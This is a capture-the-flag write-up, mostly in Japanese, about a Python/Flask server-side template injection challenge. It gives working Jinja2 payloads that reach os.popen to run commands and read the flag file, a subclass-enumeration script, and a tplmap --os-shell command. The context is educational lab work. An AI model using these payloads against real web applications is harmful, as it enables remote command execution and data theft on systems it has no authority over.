起因#
在xctf
上做题遇到的
0x00 SSTI 漏洞简介#
SSTI
:Server-Side Template Injection
サーバーサイドテンプレートインジェクションは、フォーマット文字列の脆弱性の一種です。
インジェクションは、フォーマット文字列の脆弱性の一種です
バイナリまたは Web のいずれの場合でも、多くの脆弱性はフォーマット文字列の脆弱性に帰結することができます。
SQL インジェクションは、フォーマット文字列の脆弱性の最も典型的な例であり、SQL ステートメントを実行するべきではない場所で SQL ステートメントを実行します。
XSS の一部のコードクロージャインジェクションもこの方法に該当します。
では、テンプレートインジェクションとは何でしょうか?
HTML コードを書く際に、多くのウェブサイトはテンプレートを使用しています。最初に HTML ファイルを作成し、開発者がそのテンプレートに対応するスタイルを必要とする場合、テンプレートを直接呼び出すためにrender_template_string
メソッドを使用することができます。
これにより、スタイルが直接レンダリングされます。テンプレートインジェクションは、一連の命令を変数の代わりにテンプレートに渡して実行することを指します。
0x01writeup#
まず、単純なテスト URL を作成します:
xxx.xxx.xxx.xxx:yyyyy/{{7*7}}
7*7
の命令が実行されていることがわかります。
問題はpython template injection
と言っているので、サーバースクリプトは Python であることを示しています。
そのため、Python のクラス内メソッドを知る必要があります:
- class : オブジェクトが所属するクラスを返します。
- mro : クラスが継承する基底クラスのタプルを返します。メソッドはタプルの順序で解析されます。
- base : クラスが継承する基底クラスを返します。
- baseとmroは基底クラスを検索するために使用されます。
- subclasses : 各新しいクラスは、子クラスの参照を保持しています。このメソッドは、まだ使用可能な参照のリストを返します。
- init : クラスの初期化メソッド
- globals : 関数のグローバル変数を含む辞書への参照
まず、すべてのモジュールを表示します:
xxx.xxx.xxx.xxx:yyyyy/%7B%7B[].__class__.__base__.__subclasses__()%7D%7D
ここで、多くのモジュールが表示されますが、後でモジュールを簡単に使用できるように、対応する番号をリストアップするスクリプトを作成しました:
import requests
import re
import html
url = "http://xxx.xxx.xxx.xxx:yyyyy/[].__class__.__base__.__subclasses__()%7D%7D"
cont = html.unescape(requests.get(url).content.decode("utf8"))
type_list = re.findall(r"<type '.*?'>|<class '.*?'>", cont, re.S)
print(type_list)
for i in range(len(type_list)):
print(i, type_list[i])
結果は以下のようになります:
ここでは、catch_warnings
モジュールの.__init__.func_globals.keys()
のlinecache
関数を使用してos
モジュールを呼び出すことができます。
xxx.xxx.xxx.xxx:yyyyy/%7B%7B().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__(%22os%22).popen(%22ls%22).read()'%20)%7D%7D
または、os
のprinter
関数を使用してos.popen
関数を実行することもできます。
xxx.xxx.xxx.xxx:yyyyy/%7B%7B''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()%7D%7D
次に、os.popen
を使用してcat fl4g
コマンドでfl4g
ファイルの内容を表示します。
xxx.xxx.xxx.xxx:yyyyy/%7B%7B''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()%7D%7D
または、os
モジュールのlistdir
メソッドを使用してflag
ファイルを検索することもできます。
xxx.xxx.xxx.xxx:yyyyy/%7B%7B''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')%7D%7D
最後に、file
メソッドを使用してfl4g
を読み取ります。
xxx.xxx.xxx.xxx:yyyyy/%7B%7B''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()%7D%7D
最終的な結果は以下の通りです:
この問題は、サーバーサイドテンプレートインジェクションツールtplmap
を使用することもできます。
python2
環境で、url
を指定して--os-shell
パラメータを追加すると、ターゲットホストのシェルを直接取得できます。
python tplmap.py -u "http://xxx.xxx.xxx.xxx:yyyyy/*" --os-shell
以上です。
参考文献:
- 从零学习 flask 模板注入
- 一篇文章带你理解漏洞之 SSTI 漏洞
- python 模板注入
- Flask/Jinja2 SSTI && Python 沙箱逃逸基础
- EndermaN 同学的 writeup